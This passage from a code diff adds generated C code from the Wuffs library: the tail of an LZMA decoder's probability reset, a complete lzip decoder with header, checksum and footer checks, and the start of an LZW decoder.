0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_longrep_len_low[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_longrep_len_mid[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_probs_longrep_len_high[0u][v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 64u) { ++ self->private_data.f_probs_slot[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 128u) { ++ self->private_data.f_probs_small_dist[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ self->private_data.f_probs_large_dist[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 768u) { ++ self->private_data.f_probs_lit[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ self->private_impl.f_stashed_state = 0u; ++ self->private_impl.f_stashed_rep0 = 0u; ++ self->private_impl.f_stashed_rep1 = 0u; ++ self->private_impl.f_stashed_rep2 = 0u; ++ self->private_impl.f_stashed_rep3 = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzip__error__bad_checksum[] = "#lzip: bad checksum"; ++const char wuffs_lzip__error__bad_footer[] = "#lzip: bad footer"; ++const char wuffs_lzip__error__bad_header[] = "#lzip: bad header"; ++const char wuffs_lzip__error__truncated_input[] = "#lzip: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzip__decoder__do_transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzip__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzip__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzip__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzip__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzip__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzip__decoder__initialize( ++ wuffs_lzip__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_lzma__decoder__initialize( ++ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzip__decoder* ++wuffs_lzip__decoder__alloc(void) { ++ wuffs_lzip__decoder* x = ++ (wuffs_lzip__decoder*)(calloc(1, sizeof(wuffs_lzip__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzip__decoder__initialize( ++ x, sizeof(wuffs_lzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzip__decoder(void) { ++ return sizeof(wuffs_lzip__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzip.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzip__decoder__get_quirk( ++ const wuffs_lzip__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func lzip.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzip__decoder__set_quirk( ++ wuffs_lzip__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzip.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzip__decoder__dst_history_retain_length( ++ const wuffs_lzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); ++} ++ ++// -------- func lzip.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzip__decoder__workbuf_len( ++ const wuffs_lzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); ++} ++ ++// -------- func lzip.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzip__decoder__transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_lzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func lzip.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzip__decoder__do_transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint64_t v_c64 = 0; ++ uint64_t v_dmark = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_want = 0; ++ uint32_t v_checksum_have = 0; ++ uint64_t v_size_want = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 5)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u40le__no_bounds_check(iop_a_src))); ++ iop_a_src += 5; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 32) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c64 = t_0; ++ } ++ if (v_c64 != 5641951820u) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (1u | (((uint64_t)(v_c8)) << 8u))); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ if (v_status.repr == wuffs_base__error__bad_argument) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); ++ goto exit; ++ } ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_ssize_have = 0u; ++ self->private_impl.f_dsize_have = 0u; ++ wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001792u, 1u); ++ while (true) { ++ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_2; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ self->private_impl.f_ssize_have += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_dsize_have += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_checksum_want = t_3; ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_checksum); ++ goto exit; ++ } ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint64_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_4 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 56) { ++ t_4 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_size_want = t_4; ++ } ++ if (self->private_impl.f_dsize_have != v_size_want) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint64_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_5 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; ++ if (num_bits_5 == 56) { ++ t_5 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)) << 56; ++ } ++ } ++ v_size_want = t_5; ++ } ++ if ((v_size_want < 26u) || (2251799813685248u < v_size_want)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } else if (self->private_impl.f_ssize_have != (v_size_want - 26u)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } ++ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ goto label__outer__break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (v_c32 != 1346984524u) { ++ break; ++ } ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, ++ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ label__outer__break:; ++ ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; ++const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; ++const char wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_LZW__QUIRKS_BASE 1348378624u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzw__decoder__read_from( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzw__decoder__write_to( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzw__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzw__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzw__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzw__decoder__initialize( ++ wuffs_lzw__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzw__decoder* ++wuffs_lzw__decoder__alloc(void) { ++ wuffs_lzw__decoder* x = ++ (wuffs_lzw__decoder*)(calloc(1, sizeof(wuffs_lzw__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzw__decoder__initialize( ++ x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzw__decoder(void) { ++ return sizeof(wuffs_lzw__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzw.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzw__decoder__get_quirk( ++ const wuffs_lzw__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 1348378624u) { ++ return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); ++ } ++ return 0u; ++} ++ ++// -------- func lzw.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__set_quirk( ++ wuffs_lzw__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1348378624u) { ++ if (a_value > 9u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzw.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzw__decoder__dst_history_retain_length( ++ const wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func lzw.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzw__decoder__workbuf_len( ++ const wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++// -------- func lzw.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE 